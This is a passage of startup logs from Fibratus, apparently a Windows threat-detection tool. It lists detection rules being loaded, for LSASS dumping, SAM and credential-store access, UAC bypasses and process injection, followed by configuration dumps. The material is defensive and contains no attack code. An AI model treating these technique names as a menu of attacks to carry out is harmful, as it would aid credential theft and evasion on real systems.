C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-04T11:52:30+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-04T11:52:30+01:00 level=info msg=bootstrapping with pid 11936. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-04T11:52:30+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ enabled=>true verbose=>true] mail=>[ enabled=>false content-type=>text/html to=>[] port=>25 use-template=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-envs=>true serialize-pe=>false serialize-handles=>false] + eventsource .................... [ enable-mem=>true enable-net=>true enable-thread=>true flush-interval=>1s min-buffers=>16 max-buffers=>36 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-audit-api=>true enable-threadpool=>false enable-handle=>false enable-vamap=>true buffer-size=>512 stack-enrichment=>true enable-fileio=>true enable-registry=>true enable-dns=>false enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true formatter=>text max-size=>100 max-backups=>15 level=>info max-age=>0] + output ......................... [ elasticsearch=>[ flush-period=>1s enabled=>false healthcheck-timeout=>5s timeout=>5s template-name=>fibratus healthcheck=>true healthcheck-interval=>10s gzip-compression=>false index-name=>fibratus sniff=>false servers=>[http://127.0.0.1:9200] trace-log=>false bulk-workers=>1] amqp=>[ durable=>false exchange=>fibratus exchange-type=>topic tls-insecure-skip-verify=>false vhost=>/ routing-key=>fibratus delivery-mode=>transient enabled=>false url=>amqp://localhost:5672 timeout=>5s passive=>false] http=>[ enable-gzip=>false endpoints=>[] timeout=>5s method=>POST tls-insecure-skip-verify=>false enabled=>false serializer=>json] eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-sections=>false read-resources=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] enabled=>false fastscan=>true excluded-files=>[] skip-allocs=>false skip-mmaps=>false skip-files=>false skip-registry=>false scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]]] source=bootstrap/bootstrap.go:187 +time=2025-12-04T11:52:30+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-04T11:52:33+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-04T11:56:14+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-04T11:56:14+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-04T11:56:14+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-04T12:01:12+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-04T12:01:12+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-04T12:01:12+01:00 level=info msg=bootstrapping with pid 10424. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-04T12:01:12+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ sound=>true quiet-mode=>false enabled=>false] slack=>[ enabled=>false] mail=>[ enabled=>false port=>25 to=>[] content-type=>text/html use-template=>true] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-envs=>true serialize-threads=>false serialize-handles=>false] + eventsource .................... [ enable-dns=>false max-buffers=>36 min-buffers=>16 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-net=>true enable-mem=>true enable-handle=>false enable-registry=>true enable-vamap=>true stack-enrichment=>true enable-image=>true flush-interval=>1s enable-threadpool=>false enable-audit-api=>true buffer-size=>512 enable-thread=>true enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info max-age=>0 formatter=>text max-size=>100 max-backups=>15 log-stdout=>true] + output ......................... [ console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] amqp=>[ url=>amqp://localhost:5672 durable=>false exchange-type=>topic timeout=>5s vhost=>/ enabled=>false delivery-mode=>transient exchange=>fibratus passive=>false tls-insecure-skip-verify=>false routing-key=>fibratus] elasticsearch=>[ timeout=>5s servers=>[http://127.0.0.1:9200] healthcheck=>true enabled=>false gzip-compression=>false flush-period=>1s index-name=>fibratus healthcheck-timeout=>5s sniff=>false bulk-workers=>1 template-name=>fibratus trace-log=>false healthcheck-interval=>10s] eventlog=>[ enabled=>false level=>info] http=>[ enabled=>false endpoints=>[] serializer=>json enable-gzip=>false tls-insecure-skip-verify=>false method=>POST timeout=>5s]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-sections=>false read-symbols=>false read-resources=>false] + symbol-paths ................... 